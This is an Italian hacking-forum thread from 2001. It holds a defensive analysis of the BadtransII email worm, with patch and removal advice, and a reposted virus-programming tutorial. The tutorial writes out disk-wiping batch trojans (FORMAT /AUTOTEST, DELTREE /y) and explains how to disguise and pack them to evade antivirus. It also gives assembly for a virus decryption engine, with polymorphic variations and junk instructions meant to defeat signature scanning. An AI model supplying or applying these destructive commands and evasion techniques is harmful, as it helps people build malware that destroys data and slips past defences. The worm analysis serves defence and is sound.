Salento Virtuale
Benvenuto nel Forum.
Nome utente:
Password:
Salva la password


Registrazione
Selezione lingua

Hai dimenticato la Password?
  Home   Forums   Calendario Eventi   Responsabili   Libro Ospiti   FAQ     Registrazione
Discussioni Attive | Sondaggi Attivi | Risorse | Utenti | Utenti Connessi | Catalogo Avatar | Cerca
[ Membri Attivi: 0 | Membri Anonimi: 0 | Ospiti: 22 ]  [ Totale: 22 ]  [ Membro più recente: kennamorgan35 ] Scegli la Tonalità:
 Tutti i Forum
 Forums Generali
 Internet Underground
 Virus
(anche qui: Ospite)
   Tutti gli Utenti possono inserire nuove Discussioni in questo Forum
   Tutti gli Utenti possono rispondere alle Discussioni in questo Forum
 Vers.Stampabile
Autore Discussione Precedente: Auguri *** Discussione Discussione Successiva: Satellite Hack  

Wolf_D
Moderatore

Stato: Sconnesso

 Spedito - 26/11/2001 :  20:41:23  Mostra Profilo  Visita l'homepage di Wolf_D  Aggiungi Wolf_D alla Lista Amici
Tutti i virus esaminati per voi .... basta chiedere, forse son un pò monotono vero ?


 Invii: 31  ~  Membro da: 26/11/2001  ~  UltimaVisita: 28/09/2002 -> Moderatore 

Wolf_D
Moderatore

Stato: Sconnesso

 Spedito - 29/11/2001 :  17:56:45  Mostra Profilo  Visita l'homepage di Wolf_D  Aggiungi Wolf_D alla Lista Amici
!!!!!!! ATTENZIONE NUOVO VIRUSSSSSS !!!!!!!


Analisi I-Worm.BantransII
(Future Time di Paolo Monti © 2001)


--------------------------------------------------------------------------------

Si tratta di un worm (i worm sono particolari tipi di virus che si diffondono in reti di computer) che si propaga sotto sistemi Win32 sotto forma di allegato infetto a dei messaggi di posta elettronica. Come ulteriore componente, il worm comprende anche un cavallo di troia che ha il compito di rubare informazioni riservate sui computer dove diventa attivo. Una seconda variante del Badtrans è stata scoperta "in the wild" (cioè particolarmente diffusa) nel Novembre 2001.

Il worm è un file eseguibile di circa 29 Kb, compresso con il programma UPX. Una volta decompresso, la lunghezza del file è di circa 60 Kb.

Come accennato sopra, il Badtrans è costituito da due parti: il worm e il cavallo di troia. La parte "worm" ha il compito di inviare delle e-mail infette, mentre il trojan invia a uno specifico indirizzo e-mail informazioni riservate presenti sul computer infettato (informazioni sull'utente, dati RSA, cached password, log dei tasti premuti). Tra l'altro, il cavallo di troia contiene anche un programma utile all'intercettazione dei tasti premuti, che viene installato sul sistema infetto.

Infezione del sistema

Il file infetto può essere eseguito i due modi

se l'utente clicca esplicitamente con il mouse su un allegato infetto


se il sistema presenta la vulnerabilità IFRAME, sfruttata dal worm per venire eseguito in automatico quando si effettua l'anteprima o lettura di un messaggio con Outlook Express
Tale vulnerabilità di sicurezza è stata descritta da Microsoft nel seguente bollettino:

Microsoft Security Bulletin (MS01-020): Incorrect MIME Header Can Cause IE to Execute E-mail Attachment

http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

Per prelevare la patch:

http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp

Una volta eseguito il worm installa i suoi vari componenti sul sistema e crea delle chiavi nel Registro, utili all'esecuzione automatica del worm/trojan ogni volta che si avvia Windows.
Il nome del trojan, la cartella dove viene memorizzato e la relativa chiave nel Registro di sistema sono variabili. Questi dati vengono memorizzati in forma cifrata alla fine del programma trojan. Un persona malintenzionata potrebbe configurarli come preferisce prima di inviare il worm via e-mail o di renderlo disponibile su un sito web.
Una volta installato sul sistema, il worm crea un ulteriore file (una libreria dinamica a 32-bit, cioè una DLL) che ha il compito di intercettare i tasti premuti dall'utente, spiandone l'attività. Anche il nome della DLL è opzionale.

Il worm presenta ulteriori parti o azioni variabili, modificabili da parte di un malintenzionato:

il worm cancella il file originale quando l'installazione è completata. Quest'azione può essere omessa.
la dimensione del file di log creato durante l'intercettazione dei tasti premuti dall'utente, che può essere configurata ad hoc.
Diffusione

Per inviare dei messaggi infetti il worm usa una connessione diretta a un server SMTP (Simple Mail Transfer Protocol), evitando di impiegare come tramite un client di posta elettronica.

Gli indirizzi e-mail ai quali inviare i messaggi infetti sono ottenuti in due diversi modi:

il worm scandisce i file *.HT* e *.ASP per estrarre eventuali indirizzi e-mail


usando le funzioni MAPI (Messaging API) il worm legge le e-mail presenti nella Posta in arrivo e da lì ottiene gli indirizzi e-mail delle vittime potenziali
Quindi il worm invia delle e-mail aventi una copia di se stesso in allegato. Il corpo del messaggio è in formato HTML ed è costruito in modo tale da sfruttare la vulnerabilità IFRAME per essere eseguito sui sistemi che non hanno applicato la patch rilasciata da Microsoft (vedere sopra).

Il messaggio si presenta nel modo seguente:

Mittente: indirizzo reale del mittente o indirizzo falso selezionato tra i seguenti:


" Anna"
"JUDY"
"Rita Tulliani"
"Tina"
"Kelly Andersen"
" Andy"
"Linda"
"Mon S"
"Joanna"
"JESSICA BENAVIDES"
" Administrator"
" Admin"
"Support"
"Monika Prado"
"Mary L. Adams"
" Anna"
"JUDY"
"Tina"


Oggetto: vuoto o "Re:" o "Re:" seguito da un oggetto trovato nella Posta in arrivo della macchina infettata che ha spedito il messaggio

Corpo del messaggio: vuoto


Allegato: selezionato a caso dalla combinazione "nome file + ext1 + ext2" dove:


"Nome file":


Pics (o PICS ) Card (o CARD)
images (o IMAGES) Me_nude (o ME_NUDE)
README Sorry_about_yesterday
New_Napster_Site info
news_doc (o NEWS_DOC) docs (o DOCS)
HAMSTER Humor (o HUMOR)
YOU_are_FAT! (o YOU_ARE_FAT!) fun (o FUN)
stuff SEARCHURL
SETUP S3MSONG

"ext1": .DOC .ZIP .MP3

"ext2": .scr, .pif

Per esempio: "info.DOC.scr"

Il worm non invia due volte un messaggio infetto alla stesso indirizzo e-mail. Per implementare tale funzione, il worm memorizza tutti gli indirizzi ai quali ha spedito una e-mail infetta nel file PROTOCOL.DLL all'interno della cartella di sistema di Windows e controlla tali indirizzi prima di inviare un messaggio infetto.

Trovato "in the wild"

Una variante del worm, il Badtrans.b o BadtransII, si è diffusa rapidamente il 24 Novembre 2001, e presenta le seguenti caratteristiche:

si installa nella cartella di sistema di Windows usando il nome KERNEL32.EXE e crea una chiave nel Registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Kernel32 = kernel32.exe


il nome del programma che ha il compito di intercettare le chiavi premute dall'utente è KDLL.DLL e invia le informazioni all'indirizzo "uckyjw@hotmail.com". Il log creato durante la pressione dei tasti da parte dell'utente viene memorizzato nella cartella di sistema di Windows con il nome CP_25389.NLS
Disinfezione

Per eliminare il worm dai sistemi infetti basta cancellare i file KERNEL32.EXE e KDLL.DLL. E' importante notare che entrambe i file NON fanno parte del sistema operativo, ma sono stati creati dal worm, quindi possono essere eliminati senza alcun problema. Nel caso in cui il sistema operativo impedisca l'accesso ai file infetti perché in uso da Windows, far ripartire il sistema in modalità provvisoria o altrimenti usare il task manager per chiudere i task del worm attivi e procedere alla cancellazione. Una volta cancellati i file riavviare di nuovo il sistema operativo. Ricordiamo inoltre che per evitare future infezioni è necessario applicare la patch di Microsoft riportata sopra.

Roma, 27/11/2001 - testo a cura di Paolo Monti



--------------------------------------------------------------------------------




 Invii: 31  ~  Membro da: 26/11/2001  ~  UltimaVisita: 28/09/2002 -> Moderatore  Vai all'inizio della pagina

Wolf_D
Moderatore

Stato: Sconnesso

 Spedito - 30/11/2001 :  19:16:38  Mostra Profilo  Visita l'homepage di Wolf_D  Aggiungi Wolf_D alla Lista Amici
Consiglio vivamente a tutti di scaricare la patch che offre la microsoft per proteggersi dal nuovo worm che sta girando in questi ultimi giorni, il link e nel messaggio postato in precedenza.




 Invii: 31  ~  Membro da: 26/11/2001  ~  UltimaVisita: 28/09/2002 -> Moderatore  Vai all'inizio della pagina

jonium
Amministratore


Stato: Sconnesso

 Spedito - 05/12/2001 :  16:06:52  Mostra Profilo  Aggiungi jonium alla Lista Amici
Grazie infinite Wolf. Questo virus credo lo abbiamo avuto tutti...
E' micidiale il sitema con cui si diffonde...


 Paese: Italy  ~  Invii: 699  ~  Membro da: 14/07/2001  ~  UltimaVisita: 14/09/2023 -> Moderatore  Vai all'inizio della pagina

Wolf_D
Moderatore

Stato: Sconnesso

 Spedito - 17/12/2001 :  16:35:07  Mostra Profilo  Visita l'homepage di Wolf_D  Aggiungi Wolf_D alla Lista Amici
I VIRUS: COSA SONO E COME SI CLASSIFICANO

INTRODUZIONE

Cos'e' un virus informatico? Analogamente ai virus biologici, un parassita informatico e' un organismo capace di replicarsi tramite portatori sani e capace di causare malfunzionamenti al sistema. E' ovvio che nel paragone con la parola organismo si vuole intendere un blocco di codice, di istruzioni, fondalmentalmente un virus informatico e' solo un programmma, diverso da quelli normali, magari anche un po' intelligente, ma sempre un programma. Gli studi condotti sui virus informatici finora hanno classificato e ripartito i parassiti in diverse specie: la prima differenza e' a livello generale, la seconda classificazione invece e' piu' specifica (riguarda il codice e le funzioni proprie del virus stesso).


I° CLASSIFICAZIONE

- trojan horse (=cavallo di troia)
- virus
- worm (=verme)

TROJAN HORSE
Un trojan horse non e' propriamente un virus, ma un programma distruttivo pronto a esplodere. Con questo si vuole intendere che mentre lo scopo del virus e' cercare di restare nascosto il piu' possibile e replicarsi, lo scopo del cavallo di troia e' danneggiare esplicitamente un sistema. Sono chiamati trojan horse perche'‚ di solito vengono distribuiti sotto false spoglie, magari fingendo di
essere programmi ambiti o molto ricercati dall'utenza. Famosi trojan horse furono quelli che reclamavano il PKZIP300B. Alcuni esempi pratici? I BAT-trojan horse sono i piu' semplici e efficaci da costruire, usando un qualsiasi editor di testo:

C:\>EDIT TROJAN1.BAT
@FORMAT C: /AUTOTEST

C:\>EDIT TROJAN2.BAT
@DELTREE /y C:\*.*

Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro /AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre all'utente di ripensarci, prima di avviare la formattazione.

C:\>FORMAT C:

ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI
Continuare con la formattazione (S/N)?

Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte direttamente la formattazione del disco (non si sa perch‚ la Microsoft abbia lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per rendere uno di questi trojan horse piu' infido e intercettabile dall'utente ignaro potete procedere come segue:

- create il file BAT col trojan senza usare il comando @
- usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile COM
- per rendere la dimensione del trojan piu' grande (quindi piu' credibile) usate COPY /B trojan.com + command.com final.com
- comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE

In questo modo sar… veramente difficile rilevare il trojan nel file, anche per un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche) che sono dei particolari trojan attivati da un evento temporale o dal verificarsi di una certa condizione.

WORM
Concetto piu' avanzato di virus, si puo' definire come un virus che viaggia e si riproduce lungo le reti. Il piu' famoso nella storia e' quello di Robert Morris jr., giovane americano che negli anni '80 riusci' a mandare in tilt migliaia di computer a causa di una replicazione incontrollata del suo verme, che sfruttava un vecchio bug del sendmail. Oggi non esistono ancora worm perfezionati a tal
punto da propagarsi cosi' rapidamente, questo anche a causa dei numerosi e diversi sistemi presenti su Internet, ma tuttavia Unix/Linux e Java sembrano terreno fertile per lo sviluppo dei worm.

VIRUS
Ecco l'argomento principale di cui ci occuperemo. I virus, studiati ormai da anni, sono classificati in modo specifico in base al funzionamento.


2° CLASSIFICAZIONE

I- FLOPPY BOOT e MBR VIRUS
Infettano un particolare settore dei dischi, quello iniziale, di avvio. Nei dischetti tale settore contiene il codice che visualizza il famoso messaggio:
"Disco non di avvio / Sostituire il disco e premere un tasto". Nel disco rigido invece si parla di Master Boot Record (=record di avviamento principale) meglio conosciuto come MBR. Furono i primi virus ad essere creati e a diffondersi rapidamente, oggi in fase di estizione a causa dell'accesso 32-bit di Windows 95 ai dischi.
Virus famosi: Form, PingPong, Stoned, AntiEXE, NYB-B1, DiskKiller, Michelangelo

II- DOS-EXEC FILE VIRUS
Stragrande maggioranza di virus, capaci di infettare i files eseguibili del sistema operativo.
I loro bersagli preferiti sono i file COM e EXE del DOS. Rientrano in questa categoria anche alcuni virus che infettano i normali file BAT, facilmente scopribili. Oggi in via di estinzione.
Virus famosi: November 17, Jerusalem, Ontario, Vienna

III- WIN-EXEC FILE VIRUS
Nuovi virus, che possono infettare diversi tipi di oggetti:

NE-EXE NewExecutable File EXE per Windows 3.1 16-bit
SCR ScreenSaver File SCR per Windows 3.1 16-bit
PE-EXE PortableExecutable File EXE per Windows 95 32-bit
VXD Device Driver File VXD per Windows 95 32-bit

Esistono solo una quindicina di virus di questo tipo, ancora non tanto
perfezionati.

IV- MACRO VIRUS
La moda del momento, ovvero i virus scritti in VBA (Visual Basic for
Application). Sono virus multipiattaforma (possono funzionare sia su sistemi Windows che su Macintosh) in quanto non dipendono dal sistema operativo ma da una particolare applicazione che consente l'uso di macro, cioe' di comandi automatici. Ecco i programmi suscettibili a questo tipo di infezione:

MS-WORD 6.0 - 95 - 97 File di tipo DOC
MS-EXCEL 5.0 - 95 - 97 File di tipo XLS
LOTUS AMIPRO File di tipo SAM, SMM

esiste poi una categoria di applicazioni "a rischio" ancora in fase di
sperimentazione (Lotus 1-2-3) e in genere tutte le applicazioni che permettono l'uso di macro.
Virus famosi: Concept, Wazzu, Laroux, Alliance

V- MULTIPARTITO
Quando un virus riesce ad infettare diversi oggetti di quelli sopra elencati, si definisce multipartito. Esempi:

Flip.2153 MBR + DOS-EXEC
Junkie.1027 FLOPPY + MBR + DOS-EXEC
Win.Apparition WIN-EXEC + MACRO
Win.Ph33r DOS-EXEC + WIN-EXEC

Esiste infine un'ultima suddivisione, fatta in base alla tipologia di virus, cioe' guardando proprio le funzioni e il codice interno del programma-virus.

3° CLASSIFICAZIONE

I- Virus COMPANION
Virus elementari, molto facili da rimuovere che sfruttano un buco offerto dal DOS. Sotto DOS esiste una grossa ambiguit… quando si verifica una condizione simile: una directory contiene 2 files (PIPPO.COM e PIPPO.EXE), lanciando il comando "C:\>PIPPO" senza specificare null'altro, quale dei due files sara' caricato prima? Ebbene il sistema Microsoft carica sempre prima i file COM quando viene specificata l'estensione, per cui e' facile intuire come si
comportano i virus Companion:

- cerca un file .EXE nella directory
- crea un secondo file, con lo stesso identico nome ma con estensione .COM
- nascondi il file .COM per ingannare l'utente (ATTRIB +H)

Quando l'utente digita "PIPPO", crede di aver caricato "PIPPO.EXE", quando in realta' non sa che e' stato avviato il virus conenuto in "PIPPO.COM" che di certo avra' infettato un altro file.

II- Virus AZIONE DIRETTA
Si chiamano cosi' perche'‚ agiscono direttamente infettando i files delle directory. Ogni volta che un programma infetto viene eseguito, il virus esegue una scansione dei files presenti nella directory corrente (o in altre directory predefinite come C:\DOS, C:\, C:\WINDOWS) alla ricerca di possibili "vittime". Una volta trovato un "ospite", il virus lo contagia e quindi passa ad eseguire il programma originale per non destare i sospetti dell'utente.

III- Virus TSR
Categoria gia' piu' complessa di virus, in quanto riesce a rimanere attiva, di nascosto, all'interno del sistema operativo, sostituendo parti di esso. I virus TSR (Terminate and Stay Resident) riservano una porzione di memoria per s‚ stessi (solitamente memoria alta) o sfruttano dei buchi di RAM non usati dal DOS dove potersi copiare, quindi acquistano una priorit… maggiore rispetto al sistema operativo stesso per alcune operazioni "a rischio" come apertura di un file, esecuzione di un file, rename, attrib, accesso a un dischetto, ecc.
Ognuna di queste operazioni puo' essere intercettata dal parassita che prima di eseguire la vera procedura, infetta l'oggetto in uso (file o dischetto).

IV- Virus STEALTH
Quando un virus e' attivo in memoria, puo' interferire col sistema operativo e puo' farlo anche bene. La simbiosi puo' essere tale che il parassita prende il controllo totale su alcune funzioni base del DOS. Tra le cose che un virus puo' fare ovviamente rientra la capacit… di far apparire tutto normale, cioe' nascondere tutti i sintomi e i segnali di allarme che possano farlo individuare. Questa tecnica e' detta "stealth" ed esistono varianti notevoli di questo furbo stratagemma:

SIZE HIDING
Se un virus X e' lungo 100 bytes, tutti i files infetti avranno la loro dimensione aumentata di 100. Un virus puo' intercettare il comando "DIR" e sottrarre il valore 100 alla dimensione dei file infetti, facendoli sembrare non infetti all'output del comando.

MBR STEALTH
Un virus che infetta l'MBR, salva una copia del vecchio master boot record prima di sostituirlo con il codice virale. Quando un antivirus va a leggere l'MBR, il parassita intercetta la lettura e restituisce la copia originale salvata, mascherando l'infezione presente.

CLEAN ON-THE-FLY
Il virus puo' intercettare tutte le operazioni di lettura sui files e
modificarne l'output. Se ad esempio un programma prova a leggere un file infetto, il virus, attivo in memoria, intercetta l'operazione e ripulisce il file prima della lettura, rendendolo trasparente al controllo. Una volta finita l'operazione, il virus re-infetta il file. E' questo uno dei metodi piu' efficaci, che riesce ad annullare anche i controlli tramite CRC-checksum.

V- Virus ENCRYPTED (=cifrati)
Un virus e' un programma come tanti altri, quindi formato da righe di codice. Ogni virus viene infatti identificato dall'antivirus attraverso una particolare sequenza di istruzioni in linguaggio macchina (stringa) che e' propria di ogni parassita. Questa stringa non e' altro che una serie di bytes, ognuno dei quali corrisponde ad una istruzione assembler o a un testo particolare racchiuso nel virus. Ad esempio in tutti i files infetti dal virus Tai-Pan.438 e' possibile leggere questa stringa "[Whisper presenterar Tai-Pan]", il che rende il virus facilmente identificabile. Meglio ancora e' l'identificazione tramite il codice vero e proprio del virus: tutti i files infetti dal virus Tai-Pan.438 infatti presentano queste istruzioni:

Bytes Codice Macchina
E80000 CALL xxxx
5E POP SI
83EE03 SUB SI,+03
B8CE7B MOV AX,7BCE
CD21 INT 21
3DCE7B CMP AX,7BCE
7517 JNZ yyyy
0E PUSH CS
1F POP DS

dove "xxxx" e "yyyy" sono valori generici che cambiano per ogni file. Quindi il virus Tai-Pan e' riconoscibile ricercando questa stringa esadecimale "E800005E83EE03B8CE7BCD213DCE7B75170E1F". Per ovviare questo riconoscimento ed essere meno riconoscibili i virus ricorrono alla cifratura del codice (encryption). Il codice cioe' si presenta in questo modo:

VIRUS NON CIFRATO VIRUS CIFRATO
1: istr1 0: DECIFRATORE
2: istr2 1: istrX
3: istr3 2: istrY
4: __.. 3: istrZ
5: "esempio" 4: ____.
5: "hqhrtac"

Il virus non cifrato e' facilmente riconoscibile dalle istruzioni che lo compongono e anche dalla stringa di testo "esempio" presente al suo interno. Lo stesso virus, in forma cifrata, diventa irricono-scibile, poich‚ ogni istruzione viene camuffata e trasformata in un'altra totalmente diversa di significato; cosi' anche il testo, diventa una stringa incomprensibile. Inoltre il sistema di cifratura utilizza una chiave (di solito 8/16-bit) che puo' essere fissa ma
anche variabile, cioe' mutevole ad ogni infezione. Questo significa che il corpo cifrato del virus varia per ogni file infetto. Ovviamente in capo al virus deve esserci un decifratore capace di riportare allo stato originale il codice del virus. Ecco ad esempio il motore cifrante dello Junkie.1027, presente sempre in testa al virus:

Riga Bytes Istruzione
0001: BE8FE0 MOV SI,0008
0002: B9F401 MOV CX,01F4
0003: 26 ES:
0004: 8134BC2E XOR WORD PTR [SI],2EBC
0005: 46 INC SI
0006: 46 INC SI
0007: E2F7 LOOP $0001
0008: %qui inizia il corpo del virus in forma cifrata

La prima istruzione punta l'inizio del corpo del virus (riga 0008); la seconda imposta il numero di bytes da decifrare, solitamente corrispondente alla lunghezza del virus stesso (01F4 = 500 WORD = 1000 BYTES ¯ 1027). Ecco di seguito l'operatore crittografico "XOR" che lavora usando una chiave a 16-bit (1 WORD). Quindi ci sono le istruzioni di scarto per passare alla word successiva e infine l'istruzione ciclica LOOP. Questo e' un esempio generico di motore crittografico, le varianti possono essere le piu' svariate, a partire
dagli operatori matematici usati (XOR, ADD, SUB, NOT, ADC, SBB) o sulle istruzioni cicliche (cambiabili con salti condizionati JZ, JNZ).

VI- Virus POLIMORFICI
Utilizzando la tecnica della cifratura un virus diventa riconoscibile solo ed esclusivamente dal suo motore crittografico, ma usando le opportune accortezze e' possibile realizzare dei parassiti che modificano questo motore cifrante ad ogni infezione. Cosi' e' difficile che 2 files infetti dallo stesso virus risultino simili. Questa tecnica, denominata polimorfismo, viene realizzata sia usando dei tools esterni (MtE, TPE, DAME, DSCE, SMEG) che vengono linkati al
corpo del virus, sia scrivendo un proprio codice polimorfico all'interno del virus.
Grosso modo una routine polimorfa segue questo schema di funzionamento:

- la prima cosa da fare e' scrivere un motore crittografico molto flessibile, dove le istruzioni possano essere scambiate, usando diversi operatori crittografici, il motore dello Junkie.1027 visto prima puo' andare bene:

0001: BE0800 MOV SI,0008
0002: B9F401 MOV CX,01F4
0003: 26 ES:
0004: 8134BC2E XOR WORD PTR [SI],2EBC
0005: 46 INC SI
0006: 46 INC SI
0007: E2F7 LOOP $0001
0008: %qui inizia il corpo del virus in forma cifrata

l'operatore crittografico XOR puo' essere variato, usando ad esempio ADD e SUB che generano i seguenti codici:

0004: 8104BC2E ADD WORD PTR [SI],2EBC

0004: 812CBC2E SUB WORD PTR [SI],2EBC

abbiamo in totale quindi 3 trasformazioni del nostro motore (XOR, ADD, SUB), dove pero' cambia solo un bytes. Un'altra variazione si puo' operare sul segmento dati ES, nei file COM possiamo usare in alternativa anche i segmenti DS e CS.

0003: 2E CS:

0003: 3E DS:

Con quest'altre due variazioni il numero di trasformazioni cresce a 9, con due bytes di differenza. Altra modifica possibile e' sul registro di indirizzamento dati SI, che puo' essere alternato con DI e BX generando numerose varianti di codice:

Usando BX
0001: BB0800 MOV BX,0008
/ 8137BC2E XOR WORD PTR [BX],2EBC
0004: - | 8107BC2E ADD WORD PTR [BX],2EBC
\ 812FBC2E SUB WORD PTR [BX],2EBC
0005: 46 INC BX

Usando SI
0001: BF0800 MOV DI,0008
/ 8135BC2E XOR WORD PTR [DI],2EBC
0004: - | 8105BC2E ADD WORD PTR [DI,2EBC
\ 812DBC2E SUB WORD PTR [DI],2EBC
0005: 47 INC DI

In questo modo le combinazioni ottenute crescono veramente tanto e il motore si riduce a qualcosa del tipo:

0001: ??0800 MOV ??,0008
0002: B9F401 MOV CX,01F4
0003: ?? ??:
0004: 81??BC2E ?? WORD PTR [??],2EBC
0005: ?? INC ??
0006: ?? INC ??
0007: E2F7 LOOP $0001

Dove l'indirizzo "0008" e la chiave di cifratura "2EBC" variano da file a file, quindi la stringa del virus si riduce a soli 6 bytes costanti:

"?? ?? ?? B9 F4 01 ?? 81 ?? ?? ?? ?? ?? E2 F7"

niente male, davvero! Si puo' ancora migliorare il polimorfismo di questo motore usando le "junk instruction", ovvero del codice inutile e indifferente che puo' essere inserito per spezzare i bytes costanti. Ecco alcuni esempi di junk che non alterano il codice di un programma:

- aggiunge il valore "0" a un registro 16-bit
050000 ADD AX,0000
83C600 ADD SI,+00
83C500 ADD BP,+00

- toglie il valore "0" a un registro 16-bit
83EB00 SUB BX,+00
83EF00 SUB DI,+00
83EC00 SUB SP,+00

- stesse di prima ma su registri a 8-bit
0400 ADD AL,00
80E900 SUB CL,00

- PUSH e POP una dietro l'altra
50 PUSH AX
58 POP AX

- caricamento di un registro 16-bit con s‚ stesso
89C0 MOV AX,AX
89FF MOV DI,DI
89ED MOV BP,BP

- caricamento di un registro 16-bit con s‚ stesso
87DB XCHG BX,BX
87F6 XCHG SI,SI
87E4 XCHG SP,SP

- stesse di prima ma su registri a 8-bit
88C0 MOV AL,AL
88F6 MOV DH,DH
86DB XCHG BL,BL
86ED XCHG CH,CH

- salti condizionali inutili (0-jump)
EB00 JMP seguente
7500 JNZ seguente
7400 JZ seguente
7F00 JG seguente
7700 JA seguente

E la lista potrebbe continuare, c'e' solo l'imbarazzo della scelta. Inserendo istruzioni di questo tipo dentro al codice non solo si sende il codice piu' contorto da districare, ma si rende la lunghezza della stringa variabile, modificando ogni volta la posizione dei pochi bytes costanti rimasti.

Tratto da ViR0PEÑiA v1.0
Teoria & Tecnica della Programmazione Virale
I-II parte


 Invii: 31  ~  Membro da: 26/11/2001  ~  UltimaVisita: 28/09/2002 -> Moderatore  Vai all'inizio della pagina
  Discussione Precedente: Auguri *** Discussione Discussione Successiva: Satellite Hack  
 Vers.Stampabile
Vai a:
 Image Forums 2001 Questa pagina è stata generata in 2,27 secondi Powered By: Snitz Forums 2000